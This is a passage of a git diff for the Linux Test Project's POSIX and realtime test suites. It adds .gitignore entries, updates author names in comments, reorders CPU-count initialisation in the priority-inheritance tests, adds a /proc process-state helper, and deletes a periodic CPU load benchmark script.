new file mode 100644
index 0000000..fd533e8
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/shm_open/.gitignore
@@ -0,0 +1,6 @@
+/shm_open_13-2.sh
+/shm_open_14-1.sh
+/shm_open_30-1.sh
+/shm_open_31-1.sh
+/shm_open_35-1.sh
+/shm_open_4-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/shm_unlink/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/shm_unlink/.gitignore
new file mode 100644
index 0000000..f54142f
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/shm_unlink/.gitignore
@@ -0,0 +1,2 @@
+/shm_unlink_4-1.sh
+/shm_unlink_7-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/strftime/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/strftime/1-1.c
index 25c9f62..4350edb 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/strftime/1-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/strftime/1-1.c
@@ -26,7 +26,7 @@
 	char text[256];
 	int result;
 
-	setlocale(LC_TIME, "");
+	setlocale(LC_TIME, "C");
 	strftime(text, sizeof(text), nl_langinfo(D_T_FMT), local_t);
 	printf("STRING IS:   %s\n\n", text);
 
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/timer_create/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/timer_create/.gitignore
new file mode 100644
index 0000000..0fe9bfd
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/timer_create/.gitignore
@@ -0,0 +1,4 @@
+/timer_create_13-1.sh
+/timer_create_14-1.sh
+/timer_create_4-1.sh
+/timer_create_6-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/timer_delete/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/timer_delete/.gitignore
new file mode 100644
index 0000000..cc167df
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/timer_delete/.gitignore
@@ -0,0 +1,3 @@
+/timer_delete_2-1.sh
+/timer_delete_3-1.sh
+/timer_delete_4-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/timer_getoverrun/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/timer_getoverrun/.gitignore
new file mode 100644
index 0000000..b834ea0
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/timer_getoverrun/.gitignore
@@ -0,0 +1,2 @@
+/timer_getoverrun_4-1.sh
+/timer_getoverrun_5-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/timer_gettime/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/timer_gettime/.gitignore
new file mode 100644
index 0000000..294f1e8
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/timer_gettime/.gitignore
@@ -0,0 +1,2 @@
+/timer_gettime_4-1.sh
+/timer_gettime_5-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/.gitignore
new file mode 100644
index 0000000..0c68edb
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/.gitignore
@@ -0,0 +1,3 @@
+/timer_settime_10-1.sh
+/timer_settime_11-1.sh
+/timer_settime_4-1.sh
diff --git a/testcases/open_posix_testsuite/functional/Makefile b/testcases/open_posix_testsuite/functional/Makefile
index 9cbf16a..b647f07 100644
--- a/testcases/open_posix_testsuite/functional/Makefile
+++ b/testcases/open_posix_testsuite/functional/Makefile
@@ -1,7 +1,7 @@
 #
 # Read COPYING for licensing details.
 #
-# Garrett Cooper, June 2010
+# Ngie Cooper, June 2010
 #
 
 all clean install test:
diff --git a/testcases/open_posix_testsuite/functional/threads/Makefile b/testcases/open_posix_testsuite/functional/threads/Makefile
index e67c7cf..6cf8b06 100644
--- a/testcases/open_posix_testsuite/functional/threads/Makefile
+++ b/testcases/open_posix_testsuite/functional/threads/Makefile
@@ -1,7 +1,7 @@
 #
 # Read COPYING for licensing details.
 #
-# Garrett Cooper, June 2010
+# Ngie Cooper, June 2010
 #
 
 all clean install test:
diff --git a/testcases/open_posix_testsuite/functional/threads/pi_test/pitest-1.c b/testcases/open_posix_testsuite/functional/threads/pi_test/pitest-1.c
index 11867fe..12fe9f3 100644
--- a/testcases/open_posix_testsuite/functional/threads/pi_test/pitest-1.c
+++ b/testcases/open_posix_testsuite/functional/threads/pi_test/pitest-1.c
@@ -230,6 +230,7 @@
 
 int main(int argc, char **argv)
 {
+	cpus = sysconf(_SC_NPROCESSORS_ONLN);
 	pthread_mutexattr_t mutex_attr;
 	pthread_attr_t threadattr;
 	pthread_t threads[cpus - 1], threadsample, threadtp, threadtl, threadtb;
@@ -239,7 +240,6 @@
 	int rc;
 
 	test_set_priority(pthread_self(), SCHED_FIFO, 6);
-	cpus = sysconf(_SC_NPROCESSORS_ONLN);
 	base_time = seconds_read();
 
 	/* Initialize a mutex with PTHREAD_PRIO_INHERIT protocol */
diff --git a/testcases/open_posix_testsuite/functional/threads/pi_test/pitest-2.c b/testcases/open_posix_testsuite/functional/threads/pi_test/pitest-2.c
index dda51c3..ac3e66e 100644
--- a/testcases/open_posix_testsuite/functional/threads/pi_test/pitest-2.c
+++ b/testcases/open_posix_testsuite/functional/threads/pi_test/pitest-2.c
@@ -255,6 +255,7 @@
 
 int main(int argc, char **argv)
 {
+	cpus = sysconf(_SC_NPROCESSORS_ONLN);
 	pthread_mutexattr_t mutex_attr;
 	pthread_attr_t threadattr;
 	pthread_t threads[cpus - 1];
@@ -265,7 +266,6 @@
 	int rc;
 
 	test_set_priority(pthread_self(), SCHED_FIFO, 8);
-	cpus = sysconf(_SC_NPROCESSORS_ONLN);
 	base_time = seconds_read();
 
 	/* Initialize a mutex with PTHREAD_PRIO_INHERIT protocol */
diff --git a/testcases/open_posix_testsuite/functional/threads/pi_test/pitest-3.c b/testcases/open_posix_testsuite/functional/threads/pi_test/pitest-3.c
index 5e925a5..d1cba22 100644
--- a/testcases/open_posix_testsuite/functional/threads/pi_test/pitest-3.c
+++ b/testcases/open_posix_testsuite/functional/threads/pi_test/pitest-3.c
@@ -266,6 +266,7 @@
 
 int main(int argc, char **argv)
 {
+	cpus = sysconf(_SC_NPROCESSORS_ONLN);
 	pthread_mutexattr_t mutex_attr;
 	pthread_attr_t threadattr;
 	pthread_t threads[cpus - 1];
@@ -277,7 +278,6 @@
 
 	test_set_priority(pthread_self(), SCHED_FIFO, 8);
 	base_time = seconds_read();
-	cpus = sysconf(_SC_NPROCESSORS_ONLN);
 
 	/* Initialize mutex1, mutex2 with PTHREAD_PRIO_INHERIT protocol */
 	mutex_attr_init(&mutex_attr);
diff --git a/testcases/open_posix_testsuite/functional/threads/pi_test/pitest-4.c b/testcases/open_posix_testsuite/functional/threads/pi_test/pitest-4.c
index dc4bd02..8dd013b 100644
--- a/testcases/open_posix_testsuite/functional/threads/pi_test/pitest-4.c
+++ b/testcases/open_posix_testsuite/functional/threads/pi_test/pitest-4.c
@@ -236,6 +236,7 @@
 
 int main(int argc, char **argv)
 {
+	cpus = sysconf(_SC_NPROCESSORS_ONLN);
 	pthread_mutexattr_t mutex_attr;
 	pthread_attr_t threadattr;
 	pthread_t threads[cpus - 1];
@@ -247,7 +248,6 @@
 
 	test_set_priority(pthread_self(), SCHED_FIFO, 8);
 	base_time = seconds_read();
-	cpus = sysconf(_SC_NPROCESSORS_ONLN);
 
 	/* Initialize mutex1, mutex2 with PTHREAD_PRIO_INHERIT protocol */
 	mutex_attr_init(&mutex_attr);
diff --git a/testcases/open_posix_testsuite/functional/threads/pi_test/pitest-5.c b/testcases/open_posix_testsuite/functional/threads/pi_test/pitest-5.c
index 9540d06..3e49626 100644
--- a/testcases/open_posix_testsuite/functional/threads/pi_test/pitest-5.c
+++ b/testcases/open_posix_testsuite/functional/threads/pi_test/pitest-5.c
@@ -254,6 +254,7 @@
 
 int main(int argc, char **argv)
 {
+	cpus = sysconf(_SC_NPROCESSORS_ONLN);
 	pthread_mutexattr_t mutex_attr;
 	pthread_attr_t threadattr;
 	pthread_t threads[cpus - 1], threadsample, threadtp, threadtl, threadtb;
@@ -263,7 +264,6 @@
 
 	test_set_priority(pthread_self(), SCHED_FIFO, 6);
 	base_time = seconds_read();
-	cpus = sysconf(_SC_NPROCESSORS_ONLN);
 
 	/* Initialize a mutex with PTHREAD_PRIO_INHERIT protocol */
 	mutex_attr_init(&mutex_attr);
diff --git a/testcases/open_posix_testsuite/functional/threads/pi_test/pitest-6.c b/testcases/open_posix_testsuite/functional/threads/pi_test/pitest-6.c
index 19d6755..aa3a2c8 100644
--- a/testcases/open_posix_testsuite/functional/threads/pi_test/pitest-6.c
+++ b/testcases/open_posix_testsuite/functional/threads/pi_test/pitest-6.c
@@ -240,7 +240,6 @@
 
 	test_set_priority(pthread_self(), SCHED_FIFO, 6);
 	base_time = seconds_read();
-	cpus = sysconf(_SC_NPROCESSORS_ONLN);
 
 	/* Initialize a mutex with PTHREAD_PRIO_INHERIT protocol */
 	mutex_attr_init(&mutex_attr);
diff --git a/testcases/open_posix_testsuite/include/proc.h b/testcases/open_posix_testsuite/include/proc.h
new file mode 100644
index 0000000..8272d9d
--- /dev/null
+++ b/testcases/open_posix_testsuite/include/proc.h
@@ -0,0 +1,62 @@
+/*
+ * Copyright (c) 2017 Linux Test Project
+ *
+ * This program is free software;  you can redistribute it and/or modify
+ * it under the terms in version 2 of the GNU General Public License as
+ * published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY;  without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+ * the GNU General Public License for more details.
+ */
+
+#ifdef __linux__
+# include <errno.h>
+# include <string.h>
+int tst_process_state_wait3(pid_t pid, const char state,
+	unsigned long maxwait_ms)
+{
+	char proc_path[128], cur_state;
+	int wait_step_ms = 10;
+	unsigned long waited_ms = 0;
+
+	snprintf(proc_path, sizeof(proc_path), "/proc/%i/stat", pid);
+
+	for (;;) {
+		FILE *f = fopen(proc_path, "r");
+
+		if (!f) {
+			fprintf(stderr, "Failed to open '%s': %s\n",
+				proc_path, strerror(errno));
+			return 1;
+		}
+
+		if (fscanf(f, "%*i %*s %c", &cur_state) != 1) {
+			fclose(f);
+			fprintf(stderr, "Failed to read '%s': %s\n",
+				proc_path, strerror(errno));
+			return 1;
+		}
+		fclose(f);
+
+		if (state == cur_state)
+			return 0;
+
+		usleep(wait_step_ms * 1000);
+		waited_ms += wait_step_ms;
+
+		if (waited_ms >= maxwait_ms) {
+			fprintf(stderr, "Reached max wait time\n");
+			return 1;
+		}
+	}
+}
+#else
+int tst_process_state_wait3(pid_t pid, const char state,
+	unsigned long maxwait_ms)
+{
+	usleep(maxwait_ms * 1000);
+	return 0;
+}
+#endif
diff --git a/testcases/open_posix_testsuite/scripts/generate-makefiles.sh b/testcases/open_posix_testsuite/scripts/generate-makefiles.sh
index f118712..67a60c8 100755
--- a/testcases/open_posix_testsuite/scripts/generate-makefiles.sh
+++ b/testcases/open_posix_testsuite/scripts/generate-makefiles.sh
@@ -13,7 +13,7 @@
 #
 # See COPYING for more details.
 #
-# Garrett Cooper, June 2010
+# Ngie Cooper, June 2010
 #
 
 generate_locate_test_makefile() {
@@ -282,7 +282,7 @@
 
 export PATH="$PATH:`dirname "$0"`"
 
-AUTHORDATE=`grep "Garrett Cooper" "$0" | head -n 1 | sed 's,# *,,'`
+AUTHORDATE=`grep "Ngie Cooper" "$0" | head -n 1 | sed 's,# *,,'`
 PREFIX=`print-prefix.sh`
 EXEC_PREFIX="${PREFIX}/bin"
 TOP_SRCDIR=${TOP_SRCDIR:=`dirname "$0"`/..}
diff --git a/testcases/open_posix_testsuite/scripts/tst_kvercmp.sh b/testcases/open_posix_testsuite/scripts/tst_kvercmp.sh
index d0e101c..9862714 100755
--- a/testcases/open_posix_testsuite/scripts/tst_kvercmp.sh
+++ b/testcases/open_posix_testsuite/scripts/tst_kvercmp.sh
@@ -9,7 +9,7 @@
 r1=$(echo ${ker_ver} | awk -F. '{print $1}')
 r2=$(echo ${ker_ver} | awk -F. '{print $2}')
 r3=$(echo ${ker_ver} | awk -F. '{print $3}')
-r3=${r3%-*}
+r3=${r3%%-*}
 
 test_ver=$(($1 * 65536 + $2 * 256 + $3))
 curr_ver=$((${r1} * 65536 + ${r2} * 256 + ${r3}))
diff --git a/testcases/open_posix_testsuite/stress/Makefile b/testcases/open_posix_testsuite/stress/Makefile
index 376afcd..b09527f 100644
--- a/testcases/open_posix_testsuite/stress/Makefile
+++ b/testcases/open_posix_testsuite/stress/Makefile
@@ -1,7 +1,7 @@
 #
 # Read COPYING for licensing details.
 #
-# Garrett Cooper, June 2010
+# Ngie Cooper, June 2010
 #
 
 all clean install test:
diff --git a/testcases/open_posix_testsuite/stress/threads/helper.c b/testcases/open_posix_testsuite/stress/threads/helper.c
index 9bcc4dd..d54a920 100644
--- a/testcases/open_posix_testsuite/stress/threads/helper.c
+++ b/testcases/open_posix_testsuite/stress/threads/helper.c
@@ -29,7 +29,7 @@
 #!/bin/sh
 
 #monitor the system
-vmstat -n 120 180 &> monitor.txt &
+vmstat -n 120 180 >monitor.txt 2>&1 &
 
 #run the tests
 for TS in `ls -1 *.c`;
diff --git a/testcases/open_posix_testsuite/tools/Makefile b/testcases/open_posix_testsuite/tools/Makefile
index 53e43bb..a6f0917 100644
--- a/testcases/open_posix_testsuite/tools/Makefile
+++ b/testcases/open_posix_testsuite/tools/Makefile
@@ -1,9 +1,11 @@
 #
 # Read COPYING for licensing details.
 #
-# Garrett Cooper, June 2010
+# Ngie Cooper, June 2010
 #
 
+-include ../../../include/mk/config-openposix.mk
+
 top_srcdir?=	..
 
 srcdir=		$(top_srcdir)/tools
diff --git a/testcases/realtime/.gitignore b/testcases/realtime/.gitignore
index 376dbfc..05b9d55 100644
--- a/testcases/realtime/.gitignore
+++ b/testcases/realtime/.gitignore
@@ -9,3 +9,5 @@
 /include/realtime_config.h.in
 
 /m4/Makefile.in
+/config.log
+/config.status
diff --git a/testcases/realtime/Makefile b/testcases/realtime/Makefile
index 654d3e3..a749165 100644
--- a/testcases/realtime/Makefile
+++ b/testcases/realtime/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, September 2009
+# Ngie Cooper, September 2009
 #
 
 top_srcdir		?= ../..
diff --git a/testcases/realtime/config.mk b/testcases/realtime/config.mk
index e13a2dc..4aa5055 100644
--- a/testcases/realtime/config.mk
+++ b/testcases/realtime/config.mk
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, September 2009
+# Ngie Cooper, September 2009
 #
 
 
diff --git a/testcases/realtime/func/Makefile b/testcases/realtime/func/Makefile
index 794bc9c..96a0921 100644
--- a/testcases/realtime/func/Makefile
+++ b/testcases/realtime/func/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, September 2009
+# Ngie Cooper, September 2009
 #
 
 top_srcdir		?= ../../..
diff --git a/testcases/realtime/func/async_handler/.gitignore b/testcases/realtime/func/async_handler/.gitignore
new file mode 100644
index 0000000..22b3bad
--- /dev/null
+++ b/testcases/realtime/func/async_handler/.gitignore
@@ -0,0 +1,3 @@
+/async_handler
+/async_handler_jk
+/async_handler_tsc
diff --git a/testcases/realtime/func/async_handler/Makefile b/testcases/realtime/func/async_handler/Makefile
index f334cfa..944d48c 100644
--- a/testcases/realtime/func/async_handler/Makefile
+++ b/testcases/realtime/func/async_handler/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, September 2009
+# Ngie Cooper, September 2009
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/realtime/func/gtod_latency/.gitignore b/testcases/realtime/func/gtod_latency/.gitignore
new file mode 100644
index 0000000..17615e3
--- /dev/null
+++ b/testcases/realtime/func/gtod_latency/.gitignore
@@ -0,0 +1,2 @@
+/gtod_infinite
+/gtod_latency
diff --git a/testcases/realtime/func/gtod_latency/Makefile b/testcases/realtime/func/gtod_latency/Makefile
index 89d82c9..b282a20 100644
--- a/testcases/realtime/func/gtod_latency/Makefile
+++ b/testcases/realtime/func/gtod_latency/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, September 2009
+# Ngie Cooper, September 2009
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/realtime/func/hrtimer-prio/.gitignore b/testcases/realtime/func/hrtimer-prio/.gitignore
new file mode 100644
index 0000000..a26ef13
--- /dev/null
+++ b/testcases/realtime/func/hrtimer-prio/.gitignore
@@ -0,0 +1 @@
+/hrtimer-prio
diff --git a/testcases/realtime/func/hrtimer-prio/Makefile b/testcases/realtime/func/hrtimer-prio/Makefile
index d294ee2..0e3deaa 100644
--- a/testcases/realtime/func/hrtimer-prio/Makefile
+++ b/testcases/realtime/func/hrtimer-prio/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, September 2009
+# Ngie Cooper, September 2009
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/realtime/func/matrix_mult/.gitignore b/testcases/realtime/func/matrix_mult/.gitignore
new file mode 100644
index 0000000..0bff0a5
--- /dev/null
+++ b/testcases/realtime/func/matrix_mult/.gitignore
@@ -0,0 +1 @@
+/matrix_mult
diff --git a/testcases/realtime/func/matrix_mult/Makefile b/testcases/realtime/func/matrix_mult/Makefile
index 3d89133..3c68b65 100644
--- a/testcases/realtime/func/matrix_mult/Makefile
+++ b/testcases/realtime/func/matrix_mult/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, September 2009
+# Ngie Cooper, September 2009
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/realtime/func/measurement/.gitignore b/testcases/realtime/func/measurement/.gitignore
new file mode 100644
index 0000000..26c7caf
--- /dev/null
+++ b/testcases/realtime/func/measurement/.gitignore
@@ -0,0 +1,2 @@
+/preempt_timing
+/rdtsc-latency
diff --git a/testcases/realtime/func/measurement/Makefile b/testcases/realtime/func/measurement/Makefile
index 36343e9..afbbde7 100644
--- a/testcases/realtime/func/measurement/Makefile
+++ b/testcases/realtime/func/measurement/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, September 2009
+# Ngie Cooper, September 2009
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/realtime/func/periodic_cpu_load/.gitignore b/testcases/realtime/func/periodic_cpu_load/.gitignore
new file mode 100644
index 0000000..221d453
--- /dev/null
+++ b/testcases/realtime/func/periodic_cpu_load/.gitignore
@@ -0,0 +1,2 @@
+/periodic_cpu_load
+/periodic_cpu_load_single
diff --git a/testcases/realtime/func/periodic_cpu_load/Makefile b/testcases/realtime/func/periodic_cpu_load/Makefile
index e7ec8fc..e35f583 100644
--- a/testcases/realtime/func/periodic_cpu_load/Makefile
+++ b/testcases/realtime/func/periodic_cpu_load/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, September 2009
+# Ngie Cooper, September 2009
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/realtime/func/periodic_cpu_load/mixed_load.sh b/testcases/realtime/func/periodic_cpu_load/mixed_load.sh
deleted file mode 100644
index 931d18f..0000000
--- a/testcases/realtime/func/periodic_cpu_load/mixed_load.sh
+++ /dev/null
@@ -1,233 +0,0 @@
-#!/bin/bash
-#    Filename: mixed_load.sh
-#      Author: Darren Hart <dvhltc@us.ibm.com>
-# Description: Run multiple copies of periodic threads and compare their
-#              runtime average.
-#
-# Use "-j" to enable the jvm simulator.
-#
-# This program is free software; you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation; either version 2 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# Copyright (C) IBM Corporation, 2007
-#
-# 2007-Aug-29:	Initial version by Darren Hart <dvhltc@us.ibm.com>
-
-
-# Run multiple copies of periodic threads and compare their runtime average
-
-MASTER_PRIO=90 # just above highest prio of jvmsim
-ITERATIONS=1000
-
-T1_PRIO=73
-T1_PERIOD=20
-T1_LOOPS=750
-
-T2_PRIO=63
-T2_PERIOD=40
-T2_LOOPS=1500
-
-T3_PRIO=53
-T3_PERIOD=80
-T3_LOOPS=3000
-
-T4_PRIO=43
-T4_PERIOD=160
-T4_LOOPS=6000
-
-CRITERIA=10
-
-# Remove logs laying around
-rm -f pcl*.log > /dev/null
-
-# Ensure we can spawn all the threads without being preempted
-chrt -p -f $MASTER_PRIO $$
-
-# Run $1 copies of the thread group, only run one copy of the jvm simulater per group of threads
-function run_thread_groups() {
-    CON=$1 # Concurrency
-    for ((i=0; i<$CON; i++)); do
-        ./periodic_cpu_load_single -i $ITERATIONS -r $T1_PRIO -t $T1_PERIOD -c $T1_LOOPS -f pcl-${CON}x-t1_$i > pcl-${CON}x-t1-$i.log &
-        ./periodic_cpu_load_single -i $ITERATIONS -r $T2_PRIO -t $T2_PERIOD -c $T2_LOOPS -f pcl-${CON}x-t2_$i > pcl-${CON}x-t2-$i.log &
-        ./periodic_cpu_load_single -i $ITERATIONS -r $T3_PRIO -t $T3_PERIOD -c $T3_LOOPS -f pcl-${CON}x-t3-$i > pcl-${CON}x-t3-$i.log &
-        ./periodic_cpu_load_single $JVM_ARG -i $ITERATIONS -r $T4_PRIO -t $T4_PERIOD -c $T4_LOOPS -f pcl-${CON}x-t4-$i > pcl-${CON}x-t4-$i.log &
-    done
-    wait
-}
-
-# grab the average from a log file
-function parse_avg() {
-    grep Avg $1 | sed "s/Avg: \(.*\) us/\1/"
-}
-# grab composite averages from a glob of log files
-function parse_avg_avg() {
-    SUM=0
-    COUNT=$#
-    for LOG in $@; do
-        A=`parse_avg $LOG`
-        SUM=`echo "scale=2; $SUM + $A" | bc`
-    done
-    echo "scale=2; $SUM / $COUNT" | bc
-}
-# determine the min of the floating point averages
-function min_float() {
-    MIN=$1
-    shift
-    for VAL in $@; do
-        LT=`echo "$VAL < $MIN" | bc`
-        if [ $LT -eq 1 ]; then
-            MIN=$VAL
-        fi
-        shift
-    done
-    echo $MIN
-}
-# determine the max of the floating point averages
-function max_float() {
-    MAX=$1
-    shift
-    for VAL in $@; do
-        GT=`echo "$VAL > $MIN" | bc`
-        if [ $GT -eq 1 ]; then
-            MAX=$VAL
-        fi
-        shift
-    done
-    echo $MAX
-}
-# calculate (max-min)/min of the args passed in
-function percent_error() {
-    MIN=`min_float $@`
-    MAX=`max_float $@`
-    echo "scale=2; 100*($MAX - $MIN)/$MIN" | bc
-}
-
-# return 1 if all args are less than CRITERIA
-function pass_criteria() {
-    for ERR in $@; do
-        LT=`echo "$ERR < $CRITERIA" | bc`
-        if [ $LT -eq 0 ]; then
-            return 0
-        fi
-    done
-    return 1
-}
-
-
-# Parse args
-JVM_ARG=""
-JVM_STATUS="Disabled"
-if [ "$1" == "-j" ]; then
-    JVM_ARG="-j"
-    JVM_STATUS="Enabled"
-fi
-
-cat <<EOL
-
-------------------------------------------------
-Periodic CPU Load: Average Runtime Percent Error
-------------------------------------------------
-
-Running $ITERATIONS iterations per thread
-JVM Simulator: $JVM_STATUS
-
-`printf "%8s%6s%10s%10s" Thread Prio Period Loops`
-`printf "%8s%6s%10s%10s" ------ ---- ------ -----`
-`printf "%8s%6s%10s%10s" T1 $T1_PRIO $T1_PERIOD $T1_LOOPS`
-`printf "%8s%6s%10s%10s" T2 $T2_PRIO $T2_PERIOD $T2_LOOPS`
-`printf "%8s%6s%10s%10s" T3 $T3_PRIO $T3_PERIOD $T3_LOOPS`
-`printf "%8s%6s%10s%10s" T4 $T4_PRIO $T4_PERIOD $T4_LOOPS`
-EOL
-
-# Determine the average run time for a single instance of each thread
-run_thread_groups 1
-T1_1X_AVG=`parse_avg_avg pcl-1x-t1-0.log`
-T2_1X_AVG=`parse_avg_avg pcl-1x-t2-0.log`
-T3_1X_AVG=`parse_avg_avg pcl-1x-t3-0.log`
-T4_1X_AVG=`parse_avg_avg pcl-1x-t4-0.log`
-
-cat <<EOL
-
-Single Instance Averages
-------------------------
-  T1: $T1_1X_AVG us
-  T2: $T2_1X_AVG us
-  T3: $T3_1X_AVG us
-  T4: $T4_1X_AVG us
-EOL
-# allow console to update
-sleep 1
-
-run_thread_groups 2
-T1_2X_AVG=`parse_avg_avg pcl-2x-t1-[01].log`
-T2_2X_AVG=`parse_avg_avg pcl-2x-t2-[01].log`
-T3_2X_AVG=`parse_avg_avg pcl-2x-t3-[01].log`
-T4_2X_AVG=`parse_avg_avg pcl-2x-t4-[01].log`
-
-cat <<EOL
-
-2x Concurrent Run Averages
---------------------------
-  T1: $T1_2X_AVG us
-  T2: $T2_2X_AVG us
-  T3: $T3_2X_AVG us
-  T3: $T4_2X_AVG us
-EOL
-# allow console to update
-sleep 1
-
-run_thread_groups 4
-T1_4X_AVG=`parse_avg_avg pcl-4x-t1-[0-3].log`
-T2_4X_AVG=`parse_avg_avg pcl-4x-t2-[0-3].log`
-T3_4X_AVG=`parse_avg_avg pcl-4x-t3-[0-3].log`
-T4_4X_AVG=`parse_avg_avg pcl-4x-t4-[0-3].log`
-
-cat <<EOL
-
-4x Concurrent Run Averages
---------------------------
-  T1: $T1_4X_AVG us
-  T2: $T2_4X_AVG us
-  T3: $T3_4X_AVG us
-  T3: $T4_4X_AVG us
-EOL
-
-# Calculate the percent error
-# %err = 100*(max-min)/min
-T1_ERR=`percent_error $T1_1X_AVG $T1_2X_AVG $T1_4X_AVG`
-T2_ERR=`percent_error $T2_1X_AVG $T2_2X_AVG $T2_4X_AVG`
-T3_ERR=`percent_error $T3_1X_AVG $T3_2X_AVG $T3_4X_AVG`
-T4_ERR=`percent_error $T4_1X_AVG $T4_2X_AVG $T4_4X_AVG`
-
-cat <<EOL
-
-Thread Runtime Percent Differences
-----------------------------------
-  T1: $T1_ERR%
-  T2: $T2_ERR%
-  T3: $T3_ERR%
-  T4: $T4_ERR%
-EOL
-
-pass_criteria $T1_ERR $T2_ERR $T3_ERR $T4_ERR
-PASS=$?
-if [ $PASS -eq 1 ]; then
-    RESULT="PASSED"
-    RET=0
-else
-    RESULT="FAILED"
-    RET=1
-fi
-
-echo -e "\nTest complete, see logs pcl-\$CONCURRENTx-t\$THREAD-\$NUM.log for detailed results."
-echo "Criteria: < 10% Difference in average runs"
-echo "Result: $RESULT"
-
-exit $RET
diff --git a/testcases/realtime/func/pi-tests/.gitignore b/testcases/realtime/func/pi-tests/.gitignore
new file mode 100644
index 0000000..ee19354
--- /dev/null
+++ b/testcases/realtime/func/pi-tests/.gitignore
@@ -0,0 +1,8 @@
+/sbrk_mutex
+/testpi-0
+/testpi-1
+/testpi-2
+/testpi-4
+/testpi-5
+/testpi-6
+/testpi-7
diff --git a/testcases/realtime/func/pi-tests/Makefile b/testcases/realtime/func/pi-tests/Makefile
index 7a7a57a..68616a7 100644
--- a/testcases/realtime/func/pi-tests/Makefile
+++ b/testcases/realtime/func/pi-tests/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, September 2009
+# Ngie Cooper, September 2009
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/realtime/func/pi_perf/.gitignore b/testcases/realtime/func/pi_perf/.gitignore
new file mode 100644
index 0000000..2d30ac1
--- /dev/null
+++ b/testcases/realtime/func/pi_perf/.gitignore
@@ -0,0 +1 @@
+/pi_perf
diff --git a/testcases/realtime/func/pi_perf/Makefile b/testcases/realtime/func/pi_perf/Makefile
index 196fca8..6432366 100644
--- a/testcases/realtime/func/pi_perf/Makefile
+++ b/testcases/realtime/func/pi_perf/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, September 2009
+# Ngie Cooper, September 2009
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/realtime/func/prio-preempt/.gitignore b/testcases/realtime/func/prio-preempt/.gitignore
new file mode 100644
index 0000000..5ae49c9
--- /dev/null
+++ b/testcases/realtime/func/prio-preempt/.gitignore
@@ -0,0 +1 @@
+/prio-preempt
diff --git a/testcases/realtime/func/prio-preempt/Makefile b/testcases/realtime/func/prio-preempt/Makefile
index b4c0b2e..3ac4959 100644
--- a/testcases/realtime/func/prio-preempt/Makefile
